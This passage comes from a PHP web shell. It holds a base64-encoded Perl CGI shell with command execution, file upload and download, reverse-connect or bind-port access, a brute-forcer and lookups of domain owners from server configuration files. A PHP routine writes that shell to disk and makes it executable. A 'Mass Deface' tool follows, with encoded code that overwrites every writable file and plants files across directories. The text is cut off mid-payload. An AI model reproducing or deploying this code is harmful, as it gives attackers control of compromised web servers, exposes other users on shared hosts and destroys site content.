F9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGQpLiInLCciLiRkaXJuYW1lLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgiLiRpLiIsJyIuJGRpcm5hbWUuIicpXCIgPiIuJkZpbGVQZXJtcygkZCkuIjwvc3Bhbj48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZCkuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz48YSBocmVmPSdqYXZhc2NyaXB0OnJldHVybiBmYWxzZTsnIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGRpcm5hbWUnLCciLiZBZGRTbGFzaGVzKCZBZGRTbGFzaGVzKCRkKSkuIicpXCI+UmVuYW1lPC9hPiAgfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBkaXI6ICRkaXJuYW1lID8nKSkgeyByZXR1cm4gZmFsc2U7fVwiIGhyZWY9Jz9hPWd1aSZkPSRwYXRoJnJlbW92ZT0kZGlybmFtZSc+UmVtb3ZlPC9hPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsNCgkJCSRpKys7DQoJCX0NCgkJZm9yZWFjaCBteSAkZiAoQGZuYW1lKQ0KCQl7DQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGZpbGU9JGY7DQoJCQkkZiA9ICRwYXRoLiRmOw0KCQkJJHZpZXcgPSAiP2Rpcj0iLiRwYXRoLiImdmlldz0iLiRmOw0KCQkJJHJlc3VsdCAuPSAiPHRyIGNsYXNzPSckc3R5bGUnPjx0ZCBpZD0nRmlsZV8kaScgc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsnPjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0iLiRwYXRoLiImYz1lZGl0JTIwIi4kZmlsZS4iJz4iLiRmaWxlLiI8L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPiIuJlBhcnNlRmlsZVNpemUoJkZpbGVTaXplKCRmKSkuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGYpLiI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOycgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZikuIicsJyIuJGZpbGUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCRpLCckZmlsZScpXCIgPiIuJkZpbGVQZXJtcygkZikuIjwvc3Bhbj48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZikuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4kcGF0aC4iJmM9ZWRpdCUyMCIuJGZpbGUuIic+RWRpdDwvYT4gfCA8YSBocmVmPSdqYXZhc2NyaXB0OnJldHVybiBmYWxzZTsnIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGZpbGUnLCdmJylcIj5SZW5hbWU8L2E+IHwgPGEgaHJlZj0nP2E9ZG93bmxvYWQmbz1nbyZmPSIuJGYuIic+RG93bmxvYWQ8L2E+IHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZmlsZTogJGZpbGUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRmaWxlJz5SZW1vdmU8L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPC90cj4iOw0KCQkJJGkrKzsNCgkJfQ0KCQkkcmVzdWx0IC49ICI8L3RhYmxlPjwvZGl2PiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUcnkgdG8gVmlldyBMaXN0IFVzZXINCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBWaWV3RG9tYWluVXNlcg0Kew0KCW9wZW4gKGRvbWFpbnMsICcvZXRjL25hbWVkLmNvbmYnKSBvciAkZXJyPTE7DQoJbXkgQGNuenMgPSA8ZG9tYWlucz47DQoJY2xvc2UgZDBtYWluczsNCglteSAkc3R5bGU9ImxpbmUiOw0KCW15ICRyZXN1bHQ9IjxoNT48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+SG9hbmcgU2EgLSBUcnVvbmcgU2E8L2ZvbnQ+PC9oNT4iOw0KCWlmICgkZXJyKQ0KCXsNCgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7DQoJCXJldHVybiAkcmVzdWx0Ow0KCX1lbHNlDQoJew0KCQkkcmVzdWx0IC49ICc8dGFibGU+PHRyPjx0aD5Eb21haW5zPC90aD4gPHRoPlVzZXI8L3RoPjwvdHI+JzsNCgl9DQoJZm9yZWFjaCBteSAkb25lIChAY256cykNCgl7DQoJCWlmKCRvbmUgPX4gbS8uKj96b25lICIoLio/KSIgey8pDQoJCXsJDQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGZpbGVuYW1lPSAiL2V0Yy92YWxpYXNlcy8iLiRvbmU7DQoJCQkkb3duZXIgPSBnZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7DQoJCQkkcmVzdWx0IC49ICc8dHIgY2xhc3M9IiRzdHlsZSIgd2lkdGg9NTAlPjx0ZD4nLiRvbmUuJyA8L3RkPjx0ZD4gJy4kb3duZXIuJzwvdGQ+PC90cj4nOw0KCQl9DQoJfQ0KCSRyZXN1bHQgLj0gJzwvdGFibGU+JzsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVmlldyBMb2cNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBWaWV3TG9nDQp7DQoJaWYoJFdpbk5UKQ0KCXsNCgkJcmV0dXJuICI8aDI+PGZvbnQgc3R5bGU9J2ZvbnQ6IDIwcHQgVmVyZGFuYTtjb2xvcjogI2ZmOTkwMDsnPkRvbid0IHJ1biBvbiBXaW5kb3dzPC9mb250PjwvaDI+IjsNCgl9DQoJbXkgJHJlc3VsdD0iPHRhYmxlPjx0cj48dGg+UGF0aCBMb2c8L3RoPjx0aD5TdWJtaXQ8L3RoPjwvdHI+IjsNCglteSBAcGF0aGxvZz0oDQoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nJywNCgkJCQknL3Zhci9sb2cvaHR0cGQvZXJyb3JfbG9nJywNCgkJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9hY2Nlc3NfbG9nJw0KCQkJCSk7DQoJbXkgJGk9MDsNCglteSAkcGVybXM7DQoJbXkgJHNsOw0KCWZvcmVhY2ggbXkgJGxvZyAoQHBhdGhsb2cpDQoJew0KCQlpZigtdyAkbG9nKQ0KCQl7DQoJCQkkcGVybXM9Ik9LIjsNCgkJfWVsc2UNCgkJew0KCQkJY2hvcCgkc2wgPSBgbG4gLXMgJGxvZyBlcnJvcl9sb2dfJGlgKTsNCgkJCWlmKCZ0cmltKCRscykgZXEgIiIpDQoJCQl7DQoJCQkJaWYoLXIgJGxzKQ0KCQkJCXsNCgkJCQkJJHBlcm1zPSJPSyI7DQoJCQkJCSRsb2c9ImVycm9yX2xvZ18iLiRpOw0KCQkJCX0NCgkJCX1lbHNlDQoJCQl7DQoJCQkJJHBlcm1zPSI8Zm9udCBzdHlsZT0nY29sb3I6IHJlZDsnPkNhbmNlbDxmb250PiI7DQoJCQl9DQoJCX0NCgkJJHJlc3VsdCAuPTw8RU5EOw0KCQk8dHI+DQoNCgkJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPg0KCQkJPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbG9nXyRpJykudmFsdWU9J2xlc3MgJyArIHRoaXMudmFsdWU7IiB2YWx1ZT0iJGxvZyIgc2l6ZT0nNTAnLz48L3RkPg0KCQkJPHRkPjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJUcnkiIC8+PC90ZD4NCgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJsb2dfJGkiIG5hbWU9ImMiIHZhbHVlPSJsZXNzICRsb2ciLz4NCgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJjb21tYW5kIiAvPg0KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIiAvPg0KCQkJPC9mb3JtPg0KCQkJPHRkPiRwZXJtczwvdGQ+DQoNCgkJPC90cj4NCkVORA0KCQkkaSsrOw0KCX0NCgkkcmVzdWx0IC49IjwvdGFibGU+IjsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQomUmVhZFBhcnNlOw0KJkdldENvb2tpZXM7DQoNCiRTY3JpcHRMb2NhdGlvbiA9ICRFTlZ7J1NDUklQVF9OQU1FJ307DQokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307DQokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9Ow0KJFJ1bkNvbW1hbmQgPSAkaW57J2MnfTsNCiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsNCiRPcHRpb25zID0gJGlueydvJ307DQokQWN0aW9uID0gJGlueydhJ307DQoNCiRBY3Rpb24gPSAiY29tbWFuZCIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQNCg0KIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUgY29tbWFuZHMgd2lsbCBiZSBleGVjdXRlZA0KJEN1cnJlbnREaXIgPSAmdHJpbSgkaW57J2QnfSk7DQojIG1hYyBkaW5oIHh1YXQgdGhvbmcgdGluIG5ldSBrbyBjbyBsZW5oIG5hbyENCiRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIiBpZigkUnVuQ29tbWFuZCBlcSAiIik7DQpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7DQoNCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsNCg0KaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pIAkJIyB1c2VyIG5lZWRzL2hhcyB0byBsb2dpbg0Kew0KCSZQZXJmb3JtTG9naW47DQp9ZWxzaWYoJEFjdGlvbiBlcSAiZ3VpIikgIyBHVUkgZGlyZWN0b3J5DQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglpZighJFdpbk5UKQ0KCXsNCgkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOw0KCQlpZighKCRjaG1vZCBlcSAwKSkNCgkJew0KCQkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOw0KCQkJJGZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgkJCWNob3AoJHJlc3VsdD0gYGNobW9kICRjaG1vZCAiJGZpbGUiYCk7DQoJCQlpZigmdHJpbSgkcmVzdWx0KSBlcSAiIikNCgkJCXsNCgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7DQoJCQl9ZWxzZQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7DQoJCQl9DQoJCX0NCgl9DQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9Ow0KCWlmKCEkcmVuYW1lIGVxICIiKQ0KCXsNCgkJaWYocmVuYW1lKCRUcmFuc2ZlckZpbGUsJHJlbmFtZSkpDQoJCXsNCgkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsNCgkJfWVsc2UNCgkJew0KCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsNCgkJfQ0KCX0NCgkkcmVtb3ZlPSRpbnsncmVtb3ZlJ307DQoJaWYoJHJlbW92ZSBuZSAiIikNCgl7DQoJCSRybSA9ICRDdXJyZW50RGlyLiRQYXRoU2VwLiRyZW1vdmU7DQoJCWlmKC1kICRybSkNCgkJew0KCQkJJlJtRGlyKCRybSk7DQoJCX1lbHNlDQoJCXsNCgkJCWlmKHVubGluaygkcm0pKQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsNCgkJCX1lbHNlDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsNCgkJCX0JCQkNCgkJfQ0KCX0NCglwcmludCAmTGlzdERpcjsNCg0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQNCnsNCgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJcHJpbnQgJkV4ZWN1dGVDb21tYW5kOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAic2F2ZSIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHNhdmUgYSBmaWxlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglpZigmU2F2ZUZpbGUoJGlueydkYXRhJ30sJGlueydmaWxlJ30pKQ0KCXsNCgkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCX1lbHNlDQoJew0KCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCX0NCglwcmludCAmTGlzdERpcjsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpIAkJCQkJIyB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KDQoJcHJpbnQgJlVwbG9hZEZpbGU7DQp9DQplbHNpZigkQWN0aW9uIGVxICJiYWNrYmluZCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gYmFjayBjb25uZWN0IG9yIGJpbmQgcG9ydA0Kew0KCSZQcmludFBhZ2VIZWFkZXIoImNsaWVudHBvcnQiKTsNCglwcmludCAmQmFja0JpbmQ7DQp9DQplbHNpZigkQWN0aW9uIGVxICJicnV0ZWZvcmNlciIpIAkJCSMgdXNlciB3YW50cyB0byBicnV0ZSBmb3JjZQ0Kew0KCSZQcmludFBhZ2VIZWFkZXI7DQoJcHJpbnQgJkJydXRlRm9yY2VyOw0KfWVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgCQkJCSMgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUNCnsNCglwcmludCAmRG93bmxvYWRGaWxlOw0KfWVsc2lmKCRBY3Rpb24gZXEgImNoZWNrbG9nIikgCQkJCSMgdXNlciB3YW50cyB0byB2aWV3IGxvZyBmaWxlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmVmlld0xvZzsNCg0KfWVsc2lmKCRBY3Rpb24gZXEgImRvbWFpbnN1c2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbGlzdCB1c2VyL2RvbWFpbg0Kew0KCSZQcmludFBhZ2VIZWFkZXI7DQoJcHJpbnQgJlZpZXdEb21haW5Vc2VyOw0KfWVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gbG9nb3V0DQp7DQoJJlBlcmZvcm1Mb2dvdXQ7DQp9DQomUHJpbnRQYWdlRm9vdGVyOw==";\r\n\t$cgi = fopen($file_cgi, "w");\r\n\tfwrite($cgi, base64_decode($cgi_script));\r\n\tfwrite($htcgi, $isi_htcgi);\r\n\tchmod($file_cgi, 0755);\r\n        chmod($memeg, 0755);\r\n\techo "<br><center>Done ... <a href=\'hex_cgi/cgi.hex\' target=\'_blank\'>Click Here</a></div>";\r\n\thardFooter();\r\n}\r\n\r\n\r\n// Mass Deface Section Start\r\nfunction actionSql() {\r\n\thardHeader();\r\n\techo "<center><h1>Mass Tools</h1><div class=content><br>";\r\n\t@ini_set(\'display_errors\', 0);\r\n\t$cgi_dir = mkdir(\'hex_tools\', 0755);\r\n        chdir(\'hex_tools\');\r\n\t$file_mass = "mas.php";\r\n\t$mass_script = "PD9waHAgCkBpbmlfc2V0KCdlcnJvcl9sb2cnLCBOVUxMKTsKQGluaV9zZXQoJ2xvZ19lcnJvcnMnLCAwKTsKQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsIDApOwpAaW5pX3NldCgnb3V0cHV0X2J1ZmZlcmluZycsIDApOwpAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAwKTsKZWNobyAiPGNlbnRlcj48Zm9ybSBhY3Rpb249XCJcIiBtZXRob2Q9XCJwb3N0XCI+ICI7CmZ1bmN0aW9uIGVkaXRfZmlsZSgkZmlsZSwgJGluZGV4KSB7CiAgICBpZiAoaXNfd3JpdGFibGUoJGZpbGUpKSB7CiAgICAgICAgY2xlYXJfZmlsbCgkZmlsZSwgJGluZGV4KTsKICAgICAgICBlY2hvICI8U3BhbiBzdHlsZT0nY29sb3I6Z3JlZW47Jz48c3Ryb25nPiBbK10gRG9uZSAxMDAlIFN1Y2Nlc3NmdWxsIDwvc3Ryb25nPjwvc3Bhbj48YnI+PC9jZW50ZXI+IjsKICAgIH0gZWxzZSB7CiAgICAgICAgZWNobyAiPFNwYW4gc3R5bGU9J2NvbG9yOnJlZDsnPjxzdHJvbmc+IFstXSBGYWlsZWQgOiggPC9zdHJvbmc+PC9zcGFuPjxicj48L2NlbnRlcj4iOyAKICAgIH0KfSAKZnVuY3Rpb24gaGFwdXNfTWFzc2FsKCRkaXIsICRuYW1hZmlsZSkgewogICAgaWYgKGlzX3dyaXRhYmxlKCRkaXIpKSB7CiAgICAgICAgJGRpcmEgPSBzY2FuZGlyKCRkaXIpOwogICAgICAgIGZvcmVhY2ggKCRkaXJhIGFzICRkaXJiKSB7CiAgICAgICAgICAgICRkaXJjID0gIiRkaXIvJGRpcmIiOwogICAgICAgICAgICAkbG9rYXNpID0gJGRpcmMgLiAnLycgLiAkbmFtYWZpbGU7CiAgICAgICAgICAgIGlmICgkZGlyYiA9PT0gJy4nKSB7CiAgICAgICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoIiRkaXIvJG5hbWFmaWxlIikpIHsKICAgICAgICAgICAgICAgICAgICB1bmxpbmsoIiRkaXIvJG5hbWFmaWxlIik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZWlmICgkZGlyYiA9PT0gJy4uJykgewogICAgICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCIiIC4gZGlybmFtZSgkZGlyKSAuICIvJG5hbWFmaWxlIikpIHsKICAgICAgICAgICAgICAgICAgICB1bmxpbmsoIiIgLiBkaXJuYW1lKCRkaXIpIC4gIi8kbmFtYWZpbGUiKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJGRpcmMpKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKGlzX3dyaXRhYmxlKCRkaXJjKSkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoJGxva2FzaSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIls8Zm9udCBjb2xvcj1vcmFuZ2U+REVMRVRFRDwvZm9udD5dICRsb2thc2k8YnI+IjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHVubGluaygkbG9rYXNpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpZHggPSBoYXB1c19NYXNzYWwoJGRpcmMsICRuYW1hZmlsZSk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9Cn0KZnVuY3Rpb24gY2xlYXJfZmlsbCgkZmlsZSwgJGluZGV4KSB7CiAgICBpZiAoZmlsZV9leGlzdHMoJGZpbGUpKSB7CiAgICAgICAgJGhhbmRsZSA9IGZvcGVuKCRmaWxlLCAndycpOwogICAgICAgIGZ3cml0ZSgkaGFuZGxlLCAnJyk7CiAgICAgICAgZndyaXRlKCRoYW5kbGUsICRpbmRleCk7CiAgICAgICAgZmNsb3NlKCRoYW5kbGUpOwogICAgfQp9CmZ1bmN0aW9uIGdhc3MoKSB7CiAgICBnbG9iYWwgJGRpcnIsICRpbmRleDsKICAgIGNoZGlyKCRkaXJyKTsKICAgICRtZSA9IHN0cl9yZXBsYWNlKGRpcm5hbWUoX19GSUxFX18pIC4gJy8nLCAnJywgX19GSUxFX18pOwogICAgJGZpbGVzID0gc2NhbmRpcigkZGlycik7CiAgICAkbm90YWxsb3cgPSBhcnJheSgiLmh0YWNjZXNzIiwgInd3dyIsICJXZWIuQ29uZmlnIiwgIlVNRC5waHAiLCAiV2ViLmNvbmZpZyIsICJ3ZWIuY29uZmlnIiwgIndlYi5Db25maWciLCAiLi4iLCAiLiIpOwogICAgc29ydCgkZmlsZXMpOwogICAgJG4gPSAwOwogICAgZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7CiAgICAgICAgaWYgKCRmaWxlICE9ICRtZSAmJiBpc19kaXIoJGZpbGUpICE9IDEgJiYgIWluX2FycmF5KCRmaWxlLCAkbm90YWxsb3cpKSB7CiAgICAgICAgICAgIGVjaG8gIjxjZW50ZXI+PFNwYW4gc3R5bGU9J2NvbG9yOiAjOEE4QThBOyc+PHN0cm9uZz4kZGlyci88L3NwYW4+JGZpbGU8L3N0cm9uZz4gPT09PT4gIjsKICAgICAgICAgICAgZWRpdF9maWxlKCRmaWxlLCAkaW5kZXgpOwogICAgICAgICAgICBmbHVzaCgpOwogICAgICAgICAgICAkbiA9ICRuICsgMTsKICAgICAgICB9CiAgICB9CiAgICBlY2hvICI8YnI+IjsKICAgIGVjaG8gIjxjZW50ZXI+PGJyPjxoMz4kbiBGaWxlcyBEZWZhY2VkIDwvaDM+PC9jZW50ZXI+PGJyPiAiOwp9IApmdW5jdGlvbiBMaXN0RmlsZXMoJGRpcnJhbGwpIHsKICAgIGlmICgkZGggPSBvcGVuZGlyKCRkaXJyYWxsKSkgewogICAgICAgICRmaWxlcyA9IEFycmF5KCk7CiAgICAgICAgJGlubmVyX2ZpbGVzID0gQXJyYXkoKTsKICAgICAgICAkbWUgPSBzdHJfcmVwbGFjZShkaXJuYW1lKF9fRklMRV9fKSAuICcvJywgJycsIF9fRklMRV9fKTsKICAgICAgICAkbm90YWxsb3cgPSBhcnJheSgkbWUsICIuaHRhY2Nlc3MiLCAid3d3IiwgIldlYi5Db25maWciLCAiVU1ELnBocCIsICJXZWIuY29uZmlnIiwgIndlYi5jb25maWciLCAid2ViLkNvbmZpZyIpOwogICAgICAgIHdoaWxlICgkZmlsZSA9IHJlYWRkaXIoJGRoKSkgewogICAgICAgICAgICBpZiAoJGZpbGUgIT0gIi4iICYmICRmaWxlICE9ICIuLiIgJiYgJGZpbGVbMF0gIT0gJy4nICYmICFpbl9hcnJheSgkZmlsZSwgJG5vdGFsbG93KSkgewogICAgICAgICAgICAgICAgaWYgKGlzX2RpcigkZGlycmFsbCAuICIvIiAuICRmaWxlKSkgewogICAgICAgICAgICAgICAgICAgICRpbm5lcl9maWxlcyA9IExpc3RGaWxlcygkZGlycmFsbCAuICIvIiAuICRmaWxlKTsKICAgICAgICAgICAgICAgICAgICBpZiAoaXNfYXJyYXkoJGlubmVyX2ZpbGVzKSkgJGZpbGVzID0gYXJyYXlfbWVyZ2UoJGZpbGVzLCAkaW5uZXJfZmlsZXMpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJGRpcnJhbGwgLiAiLyIgLiAkZmlsZSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgY2xvc2VkaXIoJGRoKTsKICAgICAgICByZXR1cm4gJGZpbGVzOwogICAgfQp9CmZ1bmN0aW9uIGdhc3NfYWxsKCkgewogICAgZ2xvYmFsICRpbmRleDsKICAgICRkaXJyYWxsID0gJF9QT1NUWydkX2RpciddOwogICAgZm9yZWFjaCAoTGlzdEZpbGVzKCRkaXJyYWxsKSBhcyAka2V5ID0+ICRmaWxlKSB7CiAgICAgICAgJGZpbGUgPSBzdHJfcmVwbGFjZSgnLy8nLCAiLyIsICRmaWxlKTsKICAgICAgICBlY2hvICI8Y2VudGVyPjxzdHJvbmc+JGZpbGU8L3N0cm9uZz4gPT09PiI7CiAgICAgICAgZWRpdF9maWxlKCRmaWxlLCAkaW5kZXgpOwogICAgICAgIGZsdXNoKCk7CiAgICB9CiAgICAka2V5ID0gJGtleSArIDE7CiAgICBlY2hvICI8Y2VudGVyPjxicj48aDM+JGtleSBGaWxlcyBEZWZhY2VkIDwvaDM+PC9jZW50ZXI+PGJyPiI7Cn0KZnVuY3Rpb24gc2FidW5fTWFzc2FsKCRkaXIsICRuYW1hZmlsZSwgJGlzaV9zY3JpcHQpIHsKICAgIGlmIChpc193cml0YWJsZSgkZGlyKSkgewogICAgICAgICRkaXJhID0gc2NhbmRpcigkZGlyKTsKICAgICAgICBmb3JlYWNoICgkZGlyYSBhcyAkZGlyYikgewogICAgICAgICAgICAkZGlyYyA9ICIkZGlyLyRkaXJiIjsKICAgICAgICAgICAgJGxva2FzaSA9ICRkaXJjIC4gJy8nIC4gJG5hbWFmaWxlOwogICAgICAgICAgICBpZiAoJGRpcmIgPT09ICcuJykgewogICAgICAgICAgICAgICAgZmlsZV9wdXRfY29udGVudHMoJGxva2FzaSwgJGlzaV9zY3JpcHQpOwogICAgICAgICAgICB9IGVsc2VpZiAoJGRpcmIgPT09ICcuLicpIHsKICAgICAgICAgICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRsb2thc2ksICRpc2lfc2NyaXB0KTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJGRpcmMpKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKGlzX3dyaXRhYmxlKCRkaXJjKSkgewogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj1vcmFuZ2U+WyBET05FIF0gPC9mb250Pjxmb250IGNvbG9yPXdoaXRlPiAkbG9rYXNpPC9mb250Pjxicj4iOwogICAgICAgICAgICAgICAgICAgICAgICBmaWxlX3B1dF9jb250ZW50cygkbG9rYXNpLCAkaXNpX3NjcmlwdCk7CiAgICAgICAgICAgICAgICAgICAgICAgICRpZHggPSBzYWJ1bl9NYXNzYWwoJGRpcmMsICRuYW1hZmlsZSwgJGlzaV9zY3JpcHQpOwogICAgICAgICAgICAgICAgICAgIH0gIH0gfSAgfSB9Cn0gCmlmICgkX1BPU1Rb